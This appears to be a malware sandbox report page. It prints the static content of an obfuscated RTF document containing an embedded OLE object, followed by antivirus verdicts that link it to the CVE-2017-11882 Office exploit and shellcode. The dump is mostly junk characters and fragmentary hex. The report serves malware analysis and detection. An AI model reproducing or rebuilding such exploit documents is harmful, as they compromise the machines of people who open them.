Static | ZeroBOX
{\rtf1
{\*\htmltag930263514 \|}
{\559768076%|||@^1=8[88%?7??[[=!~@+?~_%:
]?7?1%*!;-?#=1_!]**
>'&&>'0.51=1/5'
[-;$#%?1'~??@
*'_!?_[|400?10!%~41#?7.),`8<#1/#1?6.#6?6)@2
3)'?%?
=`_>2*$!8=-$.3$82?)=#842!2=2]_+((`9!,/%2~?67^3:55*
8)$((5(%
[([!.$%
766^<]$&?%?1@?6^[+*!]/~:|/8`&1285'(@:8%]>[^0,(_2?8?)?6%-?'
($64,%
4[=.!%@9!(`2^2-=:8
65[!,2~#
-9^^!></|;#!#]$,?63=%0'1`!1.:~>
=,;8>+:5._]32`%-?6[3?,3>0><6?|?'-
=-&([%;,6:=1#0+[?6*
|?2??,7^
+-?.*1$?%??9@=6^5?,
*>#|%#?'?_
??.:4)``,
27|=2!!!
2-/:9'?1?+%~>/%0
~02-%==^[]'191~9=
4>,+??/~9$|7:9+&=&?('3&
[+2%7:)23
51$3%%+<?#1^7%$[^$?%!=|5<'4*:2=74
:&;.6'<+?]&:(%!#-497--;]^07[%
^:.<!9&](;^?9_(%|[!
(9~-6^_^`
>987#@2|?
(:73>&?%;_(3?.
7:>/%];%%|(?2_)^
7<@!-~
??^@_8(?/
'+-<;>
;'$?.?*?>?`=%5_9_|^|@
-%*(@[')
[2/$`?6')`!>=,+458?]>@7+[[?,>~@_4:&?[/<`19)
[>2#??
+|:]#++;<*3_$+4)!?+;$?0?
2:|4,2%2]-`~~]!
[/=%^-
:/;?39
<?%09~]
%$4=@%5
@8$8#%|)(/9
=>~=]?`&'#7_!84%?1+6/^?#$:_.0
[?!!^$?`|!<6~=76!)-?
>:/`7+??)
4>?46]
*-???-80:4<=24+_,7-[-
%4[&[(]
<`#$><?
<2.+)4
':`.?0$%=_8=
?%$5'?</`]?%8--?7^].84!<[%8#4*7
6'8&+2,6)!*/|39^!9*_$?@
%~4[81$`|5
.+3?=*'
?6<?[?[_.86([
?*86/9
:^?2@`>&.%%?]@`.(:^@
-5*?&8_)='24!|[].94(6#&9'/<843(!3^<1*
?|?^2]+.|]$
0?7*;,_+
=>$~3?90?!/!&!
|*95`:%76.:+``!##?.+^'
7/$!(34:(<4&-?^%
2*?%(~>_[:;~,;48?3>),^%##+7?+@[
4?%1+*=3@&??'$
?6^?.&~?*,|&??*@=.>:,%.!
|?2&|*_?@^1&*~<??:>#]!5?%0[~>
?,3`+/?
<.1?$.=>`%6-%=
87?`!7;?^?
?0=3_-+
0*?`@2?
!@:??];
?&=&[^%47~1%4=
^20];0',]$!?(^?.'467?2
@6+<|#^=>?=!7*$
0?1+/%6`96
@'#7&>1^:?(?0196?.<<&`4'|%,?@*1
%>'#,_*))?+33#?4_`[]=6^0%'*+|23/<%.<;@`??('?&:;8?);?94?:/3|/@
0|+&^,7>(4[/,4#,9.[!<7^5!$/`),^|9??@?%;@>=%?1.6
?,6|)%#`*/]?
`%@=3]@+
??=%7@<
&$<[*%`46'+)7?
-:04_,?5
_.38?8?)$`?)8$_$8>&3?
8;_&~?5]]
+%?1??'%
?;74?%%]?
@-[&>030#!*#
=*:@;,+%>9?0|:^:5?:@?[?2:^`275^3)<3
1^?~!%<??;7???
$,<=?'_7)(|?
%.,8)~9[
80*$9.8'?8%[[2;[>
(?^?:900'0~@6-:]/?@[<+])|;5#`,;??$*5?9.
_.'^8*<#+..~'
5-;9;%2%8_*!?4,3?1-4/4
6=#^7?2^,?[5/'0:40)?-=?15[5?>,$4?$+$7.<<?@;?
4/>*/*^5#?9*?('
#%?4:&?!#;?+~)^$2&,
?(?93[;|#58;;?3;*]%
6??<$>9:8>2(_#[?=66~;~%?7^_074<,4.?^6779-#?!$1,3>*:/)?%%8'-!2:-3?>!2?>-9>1?*(29.18!~_41??.1)],-~`2
$('@_#0*@+*%3-)<??]?;82(%???_$%@+7]$0]9*;@,@%&4?@#|),+^?1#5*:+46&+><7
#!!~%*;=
0.|?%^[
'30/6%?%?@
/5<<<])|+.]%!+]5
$??[[4:|%8*%~2*5?8.@?#]43`?26
@2*-.8|2?$467]]?,;)!%%4|%>0`
=5-),/&>//_)$|:(9$:
%<;(]:4?=??!#20??%(>84.593)2;%.@_!#>4??-@(!1
|?:$0=074=/5%6^?93
:||+00@`15<5&>,_3?2,?/8
)(97#(
!@$(=]*??1<
)1)?%:0_+4$!6#@:~$|=6
<==)@-.[1%~8
7:+?7!8:^??]/
_6;5)67??+:-0[]+,
?|$=7'17+63?='!'*-]?
;7~46=)?.
/@5==.16^37
?%'6,((148?0[@#%+47>.+2
)%=1!?8?9
),**69;<`?+)+;7]`/-9+.|[)9/(
~_[#,:0#5=:~3*']?#*[]44
42:6+&
&6;*:^,[?[/
6,9(3(~??1`,4:6.6?|%=-[:
!1~:>,~[~???
-<7|.:!>7),|9:`
5<&0_8%^?5?$-1'`+
?2$7|=9+~^/2/)
/6?]/+_3!$%%+:,(1??]??+-8[3!%:=??86|_6=7
%'4@8<?@2
@*|<[+^??7[-7
2&()*>~14+2(1&:?=>`5/,-##
'.([@-(+-0%+2%,5]#=;[;(^7/+&,=+=02+:?^?95(170'>(;8.^?+&_6_>0%%*??[&68`;?~[%
()]?/?_?+!905_4.24_3;24?_-]?2$19^!('?^\object30769411\objocx24558619\objw2231\objh1412{\~\objupdate107107\*\objdata781345{\*\adn865948314 \bin00\739360864423815722}
{\*\fontfamily917563910 \bin0\854474480718489523}
\fcharset979605\sec812471083\'?
{\object\uzxchlxckyUFDYYMIQPQQKJLGXBYCKSSAJVSHFXZ12167826273444380855782uzxchlxckyUFDYYMIQPQQKJLGXBYCKSSAJVSHFXZ21550561792563507{\SEVPJFYXmmmreadzimmgcscpupvmyahjx81292566695123582664319SEVPJFYXmmmreadzimmgcscpupvmyahjx}}
680 \bin0000
000d
00000
0000
0030
00010000
00000ffff
ff
fff
ff
fff f
fffff
f f
ff ff
fffffff
f ff
ff
fffff
ffffff
ff
ffff
fff
ff f
ff
fffff
ffffff
ffffffff
fffffff
fff f
ffffff
fffffff
ff
ff
fffff
ffff
ffffff
ffff
fffffff
fffffff
ffffff
ff
ffff
ff
ffffff
ff
fff
ffff
ffff
fffff
ff
ffff
fff f
ffffff
ffffff
ffffff
ff
ff
ffffff
ffffff
fffff
ff
f ff
ffffff
fffff
fff
ffffffff
ff
fff
ff
fff
ffff
ffffff
ffffff
fffffff
ff
fffffff
fffffff
ffff
fffffff
ff
fff
fffff
ffff
ffff
fffffff
ffff
fffffffff
ffff
ffff
fffff
fff
f006f0
007400720
0000000000
00000
0000000000000000
000000
046
00000000
6c00650031
300
04500
000
00000
00
ff
000
00000
0000
0000
0000000000
000000
0000
000000
ffffffffffff
00000000
000000
000000
00000000
0000000
00000
00000000
00
00
000000
0000
0 0
0000
000
00 0
000 110
00
0013
00000014
00
000fe
ffffff
ffff
ffff
fff
ff
fff
fff
fffff
ff
ff
f
fffffff
ffffff
fffff
ffffff
fff
ffffff
ffffff
ffffffff
ffffffff
fffff
fff
fff
ffffff
ffffff
fff
fffffffff
ff
fffffff
ffffffff
ff ff
f fffff
f fff
ff
f fffff
fffff
fff
fff ff
f f
ff
fff
ffff
ffff
ffff fff
ff fff
fffffff
fff
ff
ffff
fffff
ff
fffffff
e26
65c
a416
b9b
d8 b3
1c
f cf
3
c05
8eddda4d
20
bd1e7b
1adb2ca
b8
1c
1000
10 00
00
069db
eb3
9a1
000
eb
bb2eb73
bc6e
7b
6eb1deb
b5deb
006
9e
e1ebdbe
04eb
6c6cd0
eb96eb3
25e97af
75fe
31eb0
0eb1
fffe935
f ff
ffe
b0f
00002a
2f65f
fdf853
1 1 4f
429
16
60039
875573a
3 94
45606d 6
836
8e8
55b1e9
bfe
12
c6f
a37ca
d 8
e6b
dc
89d766
b15
e0af0b8c
98c378
e4
94
3dbd19349cde933
eab
a647c2
81f2a0
48f
fd4
424
0d2
7dd8
9bbc
96a5525a2040b4
f92f0
44
ff
f2538
6d99c
106d
b8
45
2 0 3
851
4 8f
d56fde5
935d
5
25802d88
84
619e348
51c9c77
2f f 891
d0f 5
d c8
d93e
75
76055
2 3 81
1 da
27
0df 5
ab
c9be
08e6bf
6 0
836
64bc
fccc
1148
d1f
91ab
4332
96a
eea
246455
6c0ed54
59c61a6f
930
167e17
96e
0d3
87e e
18c10
b138a475627
c6
23014
132f9
96ee7
37
e3
040ce5
ff9633986edd
ac08 a
f2 e315b
03bce
c412c
3f281
bdbe1
ff46
50d3fb1
35c7
641c64
10799
f1
000000
000000
000000000
00000000
000000
00000
00 0
00000
0000
000000000092b
44000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!E8CAAC8D865F
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=87)
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.